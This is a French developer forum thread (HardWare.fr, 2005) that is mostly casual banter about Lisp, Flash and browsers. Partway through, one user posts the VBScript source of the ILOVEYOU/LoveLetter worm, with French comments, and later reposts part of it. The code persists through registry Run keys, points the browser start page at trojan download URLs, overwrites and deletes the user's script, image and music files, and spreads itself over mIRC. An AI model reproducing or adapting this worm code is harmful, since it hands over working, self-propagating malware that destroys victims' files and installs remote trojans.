Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
3203 connectés 

 

Sujet(s) à lire :
    - Who's who@Programmation
 

 Mot :   Pseudo :  
  Aller à la page :
 
 Page :   1  2  3  4  5  ..  9387  9388  9389  ..  26991  26992  26993  26994  26995  26996
Auteur Sujet :

[blabla@olympe] Le topic du modo, dieu de la fibre et du monde

n°1262545
l0ky
Posté le 09-12-2005 à 13:51:05  profilanswer
 

Reprise du message précédent :

chrisbk a écrit :

tu t'eclaires aussi a la lampe a huile ? [:pingouino]


Non non j'éclaire pas, enfin juste avec la lumière émise par l'écran [:klem3i1]


Message édité par l0ky le 09-12-2005 à 13:51:15
mood
Publicité
Posté le 09-12-2005 à 13:51:05  profilanswer
 

n°1262546
chrisbk
-
Posté le 09-12-2005 à 13:51:53  profilanswer
 


 
mais aucun rapport [:pingouino] je te parle de linguistique précise

n°1262548
antp
Super Administrateur
Champion des excuses bidons
Posté le 09-12-2005 à 13:52:20  profilanswer
 

R3g a écrit :

Je suis à peu près sur d'avoir vu une photo de moins moins :o


+1 dans les premières photos :D


---------------
mes programmes ·· les voitures dans les films ·· apprenez à écrire
n°1262549
masklinn
í dag viðrar vel til loftárása
Posté le 09-12-2005 à 13:53:13  profilanswer
 

chrisbk a écrit :

mais aucun rapport [:pingouino] je te parle de linguistique précise


J'vois pas ce que Lisp a de linguistiquement mort [:moule_bite]


---------------
I mean, true, a cancer will probably destroy its host organism. But what about the cells whose mutations allow them to think outside the box by throwing away the limits imposed by overbearing genetic regulations? Isn't that a good thing?
n°1262550
chrisbk
-
Posté le 09-12-2005 à 13:53:54  profilanswer
 

Dites voir, les gars a macromédia ils l'ont testé, flash, ou ils l'ont simplement pataté comme ca ? Paske le bitonio m'envoie des MouseUp alors que je touche pas la souris [:pingouino] (quand le controle que je drag passe au dessus d'un rectangle alors je me prends un mouseup, c'est completement cretin [:roane])

n°1262551
chrisbk
-
Posté le 09-12-2005 à 13:54:34  profilanswer
 

masklinn a écrit :

J'vois pas ce que Lisp a de linguistiquement mort [:moule_bite]


 
[:pingouino] lisp chaipas, mais par contre tu m'as l'air d'avoir un peu de mal

n°1262552
masklinn
í dag viðrar vel til loftárása
Posté le 09-12-2005 à 13:55:30  profilanswer
 

chrisbk a écrit :

[:pingouino] lisp chaipas, mais par contre tu m'as l'air d'avoir un peu de mal


Ué, j'ai la crève, j'ai mal au crâne et je comprends rien à ce que tu racontes [:moule_bite]  
 
J'me ferais bien un grog mais j'ai plus de goutte [:moule_bite]  
 
'chier [:moule_bite]


---------------
I mean, true, a cancer will probably destroy its host organism. But what about the cells whose mutations allow them to think outside the box by throwing away the limits imposed by overbearing genetic regulations? Isn't that a good thing?
n°1262553
uriel
blood pt.2
Posté le 09-12-2005 à 13:55:40  profilanswer
 

chrisbk a écrit :

Dites voir, les gars a macromédia ils l'ont testé, flash, ou ils l'ont simplement pataté comme ca ? Paske le bitonio m'envoie des MouseUp alors que je touche pas la souris [:pingouino] (quand le controle que je drag passe au dessus d'un rectangle alors je me prends un mouseup, c'est completement cretin [:roane])


t'inquietes AS 3 est bientot dans les bac, avec du vrai OO dedans  
 
 
 
 [:moule_bite]


---------------
IVG en france
n°1262556
uriel
blood pt.2
Posté le 09-12-2005 à 13:56:11  profilanswer
 

masklinn a écrit :

J'me ferais bien un grog mais j'ai plus de goutte [:moule_bite]  


t'as pas d'ethanol pour desinfecter chez toi?


---------------
IVG en france
n°1262557
masklinn
í dag viðrar vel til loftárása
Posté le 09-12-2005 à 13:57:10  profilanswer
 

uriel a écrit :

t'as pas d'ethanol pour desinfecter chez toi?


Nan, et l'eau oxygénée c'est pas top pour se faire des grogs [:moule_bite]


---------------
I mean, true, a cancer will probably destroy its host organism. But what about the cells whose mutations allow them to think outside the box by throwing away the limits imposed by overbearing genetic regulations? Isn't that a good thing?
mood
Publicité
Posté le 09-12-2005 à 13:57:10  profilanswer
 

n°1262561
mareek
Et de 3 \o/
Posté le 09-12-2005 à 14:01:48  profilanswer
 

masklinn a écrit :

Une partie de la communauté Lisp est même en train de péter un cable parce qu'un site utilisant Lisp en backend vient de passer à Python (Reddit) :o
 (même que c.l.lisp existe encore [:totoz] )


Et ils ont pas peur de la concurence de brainfuck ? parce qu'au niveau lisibilité ça se raproche du lisp quand même [:pingouino]
 

l0ky a écrit :

emacs n'utilise pas Lisp [:opus dei]


 emacs est dans un dérivé de lisp qui lui est propre et a 20 ans :o
 

uriel a écrit :

en fait, c'est surement pas le seul a pouvoir le faire, c'est juste historiquement que tout est deja presque fait dans ce domaine avec ce langage, donc quand tu fais quelque chose dans ce domaine tu prends l'existant


Mais tu ne peux pas just utiliser les librairies existantes et les appeler depuis un autre langage ? nan parce que bon, si on réagit comme les gens avec qui tu bosse, on en serait encore à bosser en assembleur [:pingouino]
 
(j'ai failli dire en FORTRAN [:petrus75])

Message cité 3 fois
Message édité par mareek le 09-12-2005 à 14:05:43

---------------
"I wonder if the internal negative pressure in self pumping toothpaste tubes is adjusted for different market altitudes." John Carmack
n°1262564
masklinn
í dag viðrar vel til loftárása
Posté le 09-12-2005 à 14:03:20  profilanswer
 

mareek a écrit :

emacs est dans un dérivé de lisp qui lui est propre et a 20 ans :o


Pas dérivé, dialecte (c'est pas pour rien que "XML is Lisp with the devil's horns" :o )


---------------
I mean, true, a cancer will probably destroy its host organism. But what about the cells whose mutations allow them to think outside the box by throwing away the limits imposed by overbearing genetic regulations? Isn't that a good thing?
n°1262565
uriel
blood pt.2
Posté le 09-12-2005 à 14:03:21  profilanswer
 

mareek a écrit :

Mais tu ne peux pas just utiliser les librairies existantes et les appeler depuis un autre langage ? nan parce que bon, si on réagit comme les gens avec qui tu bosse, on en serait encore à bosser en assembleur [:pingouino]


si, par exemple python fait ca bien, y a des libs java expres egalement. mais comme je dois ajouter des fonctionnalités a des packages existants genre http://www.msg.ameslab.gov/GAMESS/GAMESS.html ), la tu as pas le choix


---------------
IVG en france
n°1262567
FlorentG
Posté le 09-12-2005 à 14:06:28  profilanswer
 

I DON'T NEEEED NO MORE WAAAAARRRRRR

n°1262568
nraynaud
lol
Posté le 09-12-2005 à 14:07:56  profilanswer
 
n°1262569
mareek
Et de 3 \o/
Posté le 09-12-2005 à 14:08:19  profilanswer
 

masklinn a écrit :

Pas dérivé, dialecte

 
Oui, j'oubliais qu'il y avait 15000 dialectes de LISP totallement incompatible entre eux qui partagent juste leur syntaxe à coup de monceaux de parenthèses illisibles [:petrus75]

masklinn a écrit :


(c'est pas pour rien que "XML is Lisp with the devil's horns" :o )


Oui, et mon chat est un caddie de supermarché avec des poils [:pingouino]
 
(nan parce que je vois pas trop le rapport entre LISP et XML Là)


---------------
"I wonder if the internal negative pressure in self pumping toothpaste tubes is adjusted for different market altitudes." John Carmack
n°1262570
mareek
Et de 3 \o/
Posté le 09-12-2005 à 14:09:29  profilanswer
 

uriel a écrit :

si, par exemple python fait ca bien, y a des libs java expres egalement. mais comme je dois ajouter des fonctionnalités a des packages existants genre http://www.msg.ameslab.gov/GAMESS/GAMESS.html ), la tu as pas le choix


OK :/


---------------
"I wonder if the internal negative pressure in self pumping toothpaste tubes is adjusted for different market altitudes." John Carmack
n°1262574
mareek
Et de 3 \o/
Posté le 09-12-2005 à 14:12:20  profilanswer
 


C'est dans les hauteur de la ville, non ?


---------------
"I wonder if the internal negative pressure in self pumping toothpaste tubes is adjusted for different market altitudes." John Carmack
n°1262577
R3g
fonctionnaire certifié ITIL
Posté le 09-12-2005 à 14:15:46  profilanswer
 


Rho ça doit pas être dégueux comme coin ; juste au pied de la citadelle...

n°1262581
nraynaud
lol
Posté le 09-12-2005 à 14:19:18  profilanswer
 

mareek a écrit :

C'est dans les hauteur de la ville, non ?


oh hell no !
plein centre, à 50m de la "grande rue" mais y'avait pas d'appart libre immédiatement dans la grande rue  
 

R3g a écrit :

Rho ça doit pas être dégueux comme coin ; juste au pied de la citadelle...


oui, surtout, plein centre [:huit]

n°1262587
boulax
Inserer phrase hype en anglais
Posté le 09-12-2005 à 14:24:30  profilanswer
 

nraynaud, j'attendais une réaction rapport au récent succès de COQ dans la démonstration du théoreme des 4 couleurs [:dao]


---------------
Posté depuis des chiottes, sales. Me gusta.
n°1262592
nraynaud
lol
Posté le 09-12-2005 à 14:27:18  profilanswer
 

ben j'ai pas pas réagi [:klem3i1]

n°1262596
boulax
Inserer phrase hype en anglais
Posté le 09-12-2005 à 14:30:43  profilanswer
 

Une réaction autre qu'olfactive ? [:pingouino]


---------------
Posté depuis des chiottes, sales. Me gusta.
n°1262597
the real m​oins moins
Posté le 09-12-2005 à 14:33:47  profilanswer
 

R3g a écrit :

Je suis à peu près sur d'avoir vu une photo de moins moins :o


pardon ? [:pingouino]
 
 
(sachez que je ne vous lis plus que sporadiquement, au hasard de certains quotes, donc euh, j'ai raté quoi là [:pingouino])
(vous parlez de ça ? http://marcelit0.castpost.com/[1131928706]%20Stop%20Emo%20Haircuts.wmv je d/l, j'espere que c pas du wmv3 :o)


Message édité par the real moins moins le 09-12-2005 à 14:35:12

---------------
Hey toi, tu veux acheter des minifigurines Lego, non ?
n°1262599
the real m​oins moins
Posté le 09-12-2005 à 14:35:57  profilanswer
 

bon ben c'est du wmv3, convertissez-moi ça please :o


---------------
Hey toi, tu veux acheter des minifigurines Lego, non ?
n°1262600
R3g
fonctionnaire certifié ITIL
Posté le 09-12-2005 à 14:36:09  profilanswer
 

boulax a écrit :

nraynaud, j'attendais une réaction rapport au récent succès de COQ dans la démonstration du théoreme des 4 couleurs [:dao]


T'aurais un lien vers un article qui raconte ça ?

n°1262603
boulax
Inserer phrase hype en anglais
Posté le 09-12-2005 à 14:37:56  profilanswer
 

R3g a écrit :

T'aurais un lien vers un article qui raconte ça ?


I THOUGHT I DID POST IT §§§
 
voici> http://www.inria.fr/actualites/200 [...] rs.fr.html


---------------
Posté depuis des chiottes, sales. Me gusta.
n°1262604
uriel
blood pt.2
Posté le 09-12-2005 à 14:38:22  profilanswer
 

PTAIN< 4 FOIS QUE SAFARI CRASH AUJOURD"HUI §§§§
 
J"ESPERE QUE LES DEV LISENT LES BUGS REPORTS DE CRASH "YOUR DAMN SHITTY SOFTWARE CRASHED 4 TIMES TODAY YOU DUMB §§§ GO AND FIX THAT §§§§"  
 
 [:icon8]


---------------
IVG en france
n°1262608
mareek
Et de 3 \o/
Posté le 09-12-2005 à 14:43:52  profilanswer
 

uriel a écrit :

PTAIN< 4 FOIS QUE SAFARI CRASH AUJOURD"HUI §§§§
 
J"ESPERE QUE LES DEV LISENT LES BUGS REPORTS DE CRASH "YOUR DAMN SHITTY SOFTWARE CRASHED 4 TIMES TODAY YOU DUMB §§§ GO AND FIX THAT §§§§"  
 
 [:icon8]


Utilise un vrai browser :o


---------------
"I wonder if the internal negative pressure in self pumping toothpaste tubes is adjusted for different market altitudes." John Carmack
n°1262610
fabien
Vive la super 5 !
Posté le 09-12-2005 à 14:45:40  profilanswer
 


t'as télécharger ces smiley gratuit ? t'as pas des spywares maintenant ?


---------------
Découvre le HFRcoin ✈ - smilies
n°1262611
uriel
blood pt.2
Posté le 09-12-2005 à 14:46:00  profilanswer
 

mareek a écrit :

Utilise un vrai browser :o


y a pu IE sur mac :/


---------------
IVG en france
n°1262614
elianor
bannie 17 fois
Posté le 09-12-2005 à 14:48:03  profilanswer
 

fabien a écrit :

t'as télécharger ces smiley gratuit ? t'as pas des spywares maintenant ?


 
Non, j'ai trouvé ce gif direct sur le net, sans spyware :o


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
n°1262615
skeye
Posté le 09-12-2005 à 14:51:25  profilanswer
 

mareek a écrit :

Et ils ont pas peur de la concurence de brainfuck ? parce qu'au niveau lisibilité ça se raproche du lisp quand même [:pingouino]


 
Fake, ya pas de parenthèses en brainfuck, et en lisp ya que ça...[:pingouino]


---------------
Can't buy what I want because it's free -
n°1262617
el muchach​o
Comfortably Numb
Posté le 09-12-2005 à 14:52:56  profilanswer
 

l0ky a écrit :

emacs n'utilise pas Lisp [:opus dei]


AutoCAD aussi.


---------------
Les aéroports où il fait bon attendre, voila un topic qu'il est bien
n°1262619
mareek
Et de 3 \o/
Posté le 09-12-2005 à 14:53:51  profilanswer
 

uriel a écrit :

y a pu IE sur mac :/


Utilise telnet :/


---------------
"I wonder if the internal negative pressure in self pumping toothpaste tubes is adjusted for different market altitudes." John Carmack
n°1262630
antp
Super Administrateur
Champion des excuses bidons
Posté le 09-12-2005 à 15:00:39  profilanswer
 

the real moins moins a écrit :

bon ben c'est du wmv3, convertissez-moi ça please :o


 
Et 100 balles et un mars ? :o


---------------
mes programmes ·· les voitures dans les films ·· apprenez à écrire
n°1262633
tabouret e​n bois
Profil:s de pute
Posté le 09-12-2005 à 15:00:56  profilanswer
 

rem barok -loveletter(vbe) <i hate go to school> Entête, description du virus  
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila, Philippines Coordonnées & références du programmeur  
On Error Resume Next Gestion des erreurs  
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow Déclaration des variables  
eq = ""  
ctr = 0  
Set fso = CreateObject("Scripting.FileSystemObject" )  
set file = fso.OpenTextFile(WScript.ScriptFullname, 1)  
vbscopy = file.ReadAll  
main()  
  sub main() Fonction principale  
    On Error Resume Next  
    dim wscr, rr  
    set wscr = CreateObject("WScript.Shell" )  
    rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout" ) Verifie les délais (timeout) pour les scripts  
    if (rr >= 1) then  
      wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" Modifie le timeout, en cas d'erreur, le temps d'attente avant la suite est nul  
    end if  
    Set dirwin = fso.GetSpecialFolder(0) Répertoire de Windows  
    Set dirsystem = fso.GetSpecialFolder(1) Répertoire System de Windows  
    Set dirtemp = fso.GetSpecialFolder(2) Répertoire temp de Windows  
    Set c = fso.GetFile(WScript.ScriptFullName) Ouvre le fichier actuel (en cours d'exécution)  
    c.Copy(dirsystem & "\MSKernel32.vbs" ) Copie du virus vers un fichier .vbs exécuté au démarrage  
    c.Copy(dirwin & "\Win32DLL.vbs" ) Copie du virus vers un fichier .vbs exécuté au démarrage  
    c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs" ) Copie du virus vers le fichier .TXT.vbs  
    regruns() Modification de la base de registres pour le download automatique du cheval de troie  
    html() Création du fichier HTML  
    spreadtoemail() Propagation par e-mail  
    listadriv() Infection des fichiers  
  end sub


 
 

sub regruns()  
    On Error Resume Next  
    Dim num, downread  
    regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs" Exécution à chaque démarrage du virus  
    regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" idem  
    downread = ""  
    downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory" ) Dossier de téléchargement (par défaut)  
    if (downread = "" ) then  
      downread = "c:\"  
    end if  
    if (fileexist(dirsystem & "\WinFAT32.exe" ) = 1) then    
      Randomize  
      num = Int((4 * Rnd) + 1) Met en page de démarrage un des 4 liens (au hazard) pour le download d'un cheval de troie  
      if num = 1 then  
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/(...)/WIN-BUGSFIX.exe"  
      elseif num = 2 then  
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~angelcat/(...)/WIN-BUGSFIX.exe"  
      elseif num = 3 then  
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/(...)/WIN-BUGSFIX.exe"  
      elseif num = 4 then  
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/(...)/WIN-BUGSFIX.exe"  
      end if  
    end if  
    if (fileexist(downread & "\WIN-BUGSFIX.exe" ) = 0) then Si le fichier a été téléchargé  
      regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" Il sera exécuté à chaqe démarrage de Windows  
      regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" Suppression de la page de démarrage, qui est actuellement le cheval de troie à télécharger  
    end if  
  end sub


 

sub listadriv Liste tous les disques de la machine pour l'infection  
    On Error Resume Next  
    Dim d,dc,s  
    Set dc = fso.Drives Liste des Lecteurs (Disques dur, ...)  
    For Each d in dc Pour chaque disque  
      If d.DriveType = 2 or d.DriveType = 3 Then S'il s'agit d'un disque dur ou d'un disque amovible  
        folderlist(d.path & "\" ) Appel de folderlist pour faire un parcours des dossiers du disque  
      end if  
    Next  
    listadriv = s  
  end sub


 
 

 sub infectfiles(folderspec) = 20 Infecte les fichiers du dossier actuel  
    On Error Resume Next  
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 Déclaration des variables  
    set f = fso.GetFolder(folderspec)  
    set fc = f.Files  
    for each f1 in fc Pour chaque fichier du directory  
      ext = fso.GetExtensionName(f1.path) Récupération de l'extension du fichier  
      ext = lcase(ext) Mise de l'extension en minuscules  
      s = lcase(f1.name) Mise du nom de fichier en minuscule  
      if (ext = "vbs" ) or (ext = "vbe" ) then s'il s'agit d'un VBS ou d'un VBE.  
        set ap = fso.OpenTextFile(f1.path, 2, true) Ouverture du fichier.  
        ap.write vbscopy Ecriture tu code du virus sur le fichier  
        ap.close Fermeture du fichier  
      elseif(ext = "js" ) or (ext = "jse" ) or (ext = "css" ) or (ext = "wsh" ) or (ext = "sct" ) or (ext = "hta" ) then S'il s'agit d'un JS, d'un JSE, CSS, WSH, SCT ou HTA  
        set ap = fso.OpenTextFile(f1.path,2,true) Ouverture du fichier  
        ap.write vbscopy Copie du virus  
        ap.close Fermeture du fichier  
        bname = fso.GetBaseName(f1.path) bname : nom du fichier source  
        set cop = fso.GetFile(f1.path) cop : nom du fichier du virus (= au nom du fichier source)  
        cop.copy(folderspec & "\" & bname & ".vbs" ) Copie du fichier modifié, avec l'extension .VBS en plus  
        fso.DeleteFile(f1.path) Supression du fichier original  
      elseif(ext = "jpg" ) or (ext = "jpeg" ) then S'il s'agit d'un JPG (ou JPEG)  
        set ap = fso.OpenTextFile(f1.path,2,true) Ouverture du fichier  
        ap.write vbscopy Copie du code du virus  
        ap.close Fermeture du fichier  
        set cop = fso.GetFile(f1.path) Nom du fichier "infecté"  
        cop.copy(f1.path & ".vbs" ) Copie du fichier "infecté" sous le nouveau nom  
        fso.DeleteFile(f1.path) Supression du fichier original  
      elseif(ext = "mp3" ) or (ext = "mp2" ) then S'il s'agit d'un MP3 ou d'un MP2  
        set mp3 = fso.CreateTextFile(f1.path & ".vbs" ) Création du fichier .mp3.vbs (ou .mp2.vbs)  
        mp3.write vbscopy Copie du code du virus  
        mp3.close Fermeture du fichier mp3-mp2  
        set att = fso.GetFile(f1.path)  
        att.attributes = att.attributes + 2 Rend le fichier actuel caché  
      end if  
      if (eq<>folderspec) then  
        if (s = "mirc32.exe" ) or (s = "mlink32.exe" ) or (s = "mirc.ini" ) or (s = "script.ini" ) or (s = "mirc.hlp" ) then Si le fichier actuel est un fichier mirc,  
          set scriptini = fso.CreateTextFile(folderspec & "\script.ini" ) on créé un fichier script  
          scriptini.WriteLine "[script]" Ecriture du contenu du fichier script  
          scriptini.WriteLine ";mIRC Script"  
          scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"  
          scriptini.WriteLine "   corrupt... WINDOWS will affect and will not run correctly. thanks"  
          scriptini.WriteLine ";"  
          scriptini.WriteLine ";Khaled Mardam-Bey"  
          scriptini.WriteLine ";http://www.mirc.com"  
          scriptini.WriteLine ";"  
          scriptini.WriteLine "n0 = on 1:JOIN:#:{" Quand une personne arrive sur le channel  
          scriptini.WriteLine "n1 = /if ( $nick == $me ) { halt }" si cette personne n'est pas nous-même  
          scriptini.WriteLine "n2 = /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" Envoi du fichier .htm infecté  
          scriptini.WriteLine "n3=}"  
          scriptini.close Fermeture du fichier script  
          eq = folderspec  
        end if  
      end if  
    next = 20  
  end sub


 


sub html  
    On Error Resume Next  
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6  
    dta1 = "<HTML> Code HTML pour le fichier  
                 <HEAD>  
                   <TITLE>LOVELETTER - HTML</TITLE>  
                   <META NAME="Generator" CONTENT="BAROK VBS - LOVELETTER"> Entêtes et descriptions  
                   <META NAME="Author" CONTENT="spyder - ispyder@mail.com @GRAMMERSoft Group - Manila, Philippines - March 2000">  
                   <META NAME="Description" CONTENT="simple but i think this is good...">"    
                 </HEAD>  
                 <BODY ONMOUSEOUT="window.name = 'main'; window.open('OVE-LETTER-FOR-YOU.HTM', 'main') ONKEYDOWN="window.name = 'main'; window.open('LOVE-LETTER-FOR-YOU.HTM','main') "BGPROPERTIES="fixed" BGCOLOR="#FF9933">"  Début du corps du fichier HTML, avec une réouverture automatique de la page  
                   <CENTER><p>This HTML file need ActiveX Control</p> Affiche qu'il faut activer ActiveX pour visualiser la page  
                   <p>To Enable to read this HTML file<BR>  
                   - Please press 'YES' button to Enable ActiveX</p></CENTER>  
                   <MARQUEE LOOP="infinite" BGCOLOR="yellow">----------z--------------------z----------</MARQUEE> Affichage d'une petite animation  
                 </BODY>  
                 </HTML>    Fin du contenu de la page  
                 <SCRIPT language="JScript"><!--// Début du code du virus  
                   if (window.screen) {    
                     var wi = screen.availWidth; Dimensions maximum de la fenètre  
                     var hi = screen.availHeight;  
                     window.moveTo(0,0); Mise de la page en plein écran  
                     window.resizeTo(wi,hi);  
                   } //-->  
                 </SCRIPT>  
                 <SCRIPT LANGUAGE="VBScript"><!--  
                   on error resume next  
                   dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit  
                   aw = 1  
                   setfso = CreateObject("Scripting.FileSystemObject" )  
                   set dirsystem = fso.GetSpecialFolder(1) Ouvre le répertoire système  
                   code2 = replace(code, chr(91) & chr(45) & chr(91), chr(39)) Remplace les caractères spéciaux pour permettre la reproduction  
                   code3 = replace(code2, chr(93) & chr(45) & chr(93), chr(34))  
                   code4 = replace(code3, chr(37) & chr(45) & chr(37), chr(92))  
                   setwri = fso.CreateTextFile(dirsystem & "\MSKernel32.vbs" ) Créé le fichier "système" du virus  
                   wri.write code4 Ecriture du code du virus  
                   wri.close Fermeture du fichier  
                   if (fso.FileExists(dirsystem & "/MSKernel32.vbs" )) then Si le fichier "système" existe  
                     if (err.number = 424) then  
                       aw = 0  
                     end if  
                     if (aw = 1) then S'il y a eu une erreur  
                       document.write "ERROR: can't initialize ActiveX" Affichage d'une erreur ActiveX  
                       window.close  
                     end if  
                   end if  
                   Set regedit = CreateObject("WScript.Shell" )  
                   regedit.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/MSKernel32", dirsystem & "/MSKernel32.vbs" Indique que le code du virus doir être exécuté au démarrage de Windows  
                 //--></SCRIPT>" Fin du script  
    dt1 = replace(dta1, chr(35) & chr(45) & chr(35), " '   " ) Remplace les caractères spéciaux pour permettre la reproduction  
    dt1 = replace(dt1,  chr(64) & chr(45) & chr(64), " "" " )  
    dt4 = replace(dt1,  chr(63) & chr(45) & chr(63), " /  " )  
    dt5 = replace(dt4,  chr(94) & chr(45) & chr(94), " \  " )    
    dt2 = replace(dta2, chr(35) & chr(45) & chr(35), " '   " )  
    dt2 = replace(dt2,  chr(64) & chr(45) & chr(64), " "" " )  
    dt3 = replace(dt2,  chr(63) & chr(45) & chr(63), " /  " )  
    dt6 = replace(dt3,  chr(94) & chr(45) & chr(94), " \  " )  
    set fso = CreateObject("Scripting.FileSystemObject" )  
    set c = fso.OpenTextFile(WScript.ScriptFullName,1)  
    lines = Split(c.ReadAll,vbcrlf)  
    l1 = ubound(lines)  
    for n=0 to ubound(lines)  
      lines(n) = replace(lines(n), " '   ", chr(91) + chr(45) + chr(91)) Remplace les caractères spéciaux pour permettre la reproduction  
      lines(n) = replace(lines(n), " "" ", chr(93) + chr(45) + chr(93))  
      lines(n) = replace(lines(n), " \   ", chr(37) + chr(45) + chr(37))  
      if (l1 = n) then  
        lines(n) = chr(34) + lines(n) + chr(34)  
      else  
        lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"  
      end if  
    next  
    set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM" ) Création du fitier HTM contenant le virus pour envoi par irc  
    b.close  
    set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM",2) Ouverture du fichier HTM  
    d.write dt5 Ecriture du code du virus  
    d.write join(lines, vbcrlf)  
    d.write vbcrlf  
    d.write dt6  
    d.close Fermeture du HTM  
  end sub


Message édité par tabouret en bois le 09-12-2005 à 15:01:55
n°1262637
mareek
Et de 3 \o/
Posté le 09-12-2005 à 15:02:31  profilanswer
 

skeye a écrit :

Fake, ya pas de parenthèses en brainfuck, et en lisp ya que ça...[:pingouino]


Chacun son style, mais on sent que les créateurs de ces 2 langages avaient le même but en tête: rendre le code impossible à debugger dès qu'on fait plus de 3 appels de fonctions [:pingouino]


---------------
"I wonder if the internal negative pressure in self pumping toothpaste tubes is adjusted for different market altitudes." John Carmack
n°1262638
tabouret e​n bois
Profil:s de pute
Posté le 09-12-2005 à 15:02:48  profilanswer
 

pourquoi ça marche uniquement quand on clique sur edit de mon message?

n°1262639
tabouret e​n bois
Profil:s de pute
Posté le 09-12-2005 à 15:03:27  profilanswer
 

rem barok -loveletter(vbe) <i hate go to school> Entête, description du virus  
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila, Philippines Coordonnées & références du programmeur  
On Error Resume Next Gestion des erreurs  
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow Déclaration des variables  
eq = ""  
ctr = 0  
Set fso = CreateObject("Scripting.FileSystemObject" )  
set file = fso.OpenTextFile(WScript.ScriptFullname, 1)  
vbscopy = file.ReadAll  
main()  
  sub main() Fonction principale  
    On Error Resume Next  
    dim wscr, rr  
    set wscr = CreateObject("WScript.Shell" )  
    rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout" ) Verifie les délais (timeout) pour les scripts  
    if (rr >= 1) then  
      wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" Modifie le timeout, en cas d'erreur, le temps d'attente avant la suite est nul  
    end if  
    Set dirwin = fso.GetSpecialFolder(0) Répertoire de Windows  
    Set dirsystem = fso.GetSpecialFolder(1) Répertoire System de Windows  
    Set dirtemp = fso.GetSpecialFolder(2) Répertoire temp de Windows  
    Set c = fso.GetFile(WScript.ScriptFullName) Ouvre le fichier actuel (en cours d'exécution)  
    c.Copy(dirsystem & "\MSKernel32.vbs" ) Copie du virus vers un fichier .vbs exécuté au démarrage  
    c.Copy(dirwin & "\Win32DLL.vbs" ) Copie du virus vers un fichier .vbs exécuté au démarrage  
    c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs" ) Copie du virus vers le fichier .TXT.vbs  
    regruns() Modification de la base de registres pour le download automatique du cheval de troie  
    html() Création du fichier HTML  
    spreadtoemail() Propagation par e-mail  
    listadriv() Infection des fichiers  
  end sub  
 
Regruns
 
Cette partie du virus met WIN-BUGSFIX.exe en page de démarrage d'Internet explorer. Il s'agit d'un cheval de troie. Une fois le fichier téléchargé, il est exécuté à chaque démarrage de Windows
 
  sub regruns()  
    On Error Resume Next  
    Dim num, downread  
    regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs" Exécution à chaque démarrage du virus  
    regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" idem  
    downread = ""  
    downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory" ) Dossier de téléchargement (par défaut)  
    if (downread = "" ) then  
      downread = "c:\"  
    end if  
    if (fileexist(dirsystem & "\WinFAT32.exe" ) = 1) then    
      Randomize  
      num = Int((4 * Rnd) + 1) Met en page de démarrage un des 4 liens (au hazard) pour le download d'un cheval de troie  
      if num = 1 then  
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/(...)/WIN-BUGSFIX.exe"  
      elseif num = 2 then  
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~angelcat/(...)/WIN-BUGSFIX.exe"  
      elseif num = 3 then  
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/(...)/WIN-BUGSFIX.exe"  
      elseif num = 4 then  
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/(...)/WIN-BUGSFIX.exe"  
      end if  
    end if  
    if (fileexist(downread & "\WIN-BUGSFIX.exe" ) = 0) then Si le fichier a été téléchargé  
      regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" Il sera exécuté à chaqe démarrage de Windows  
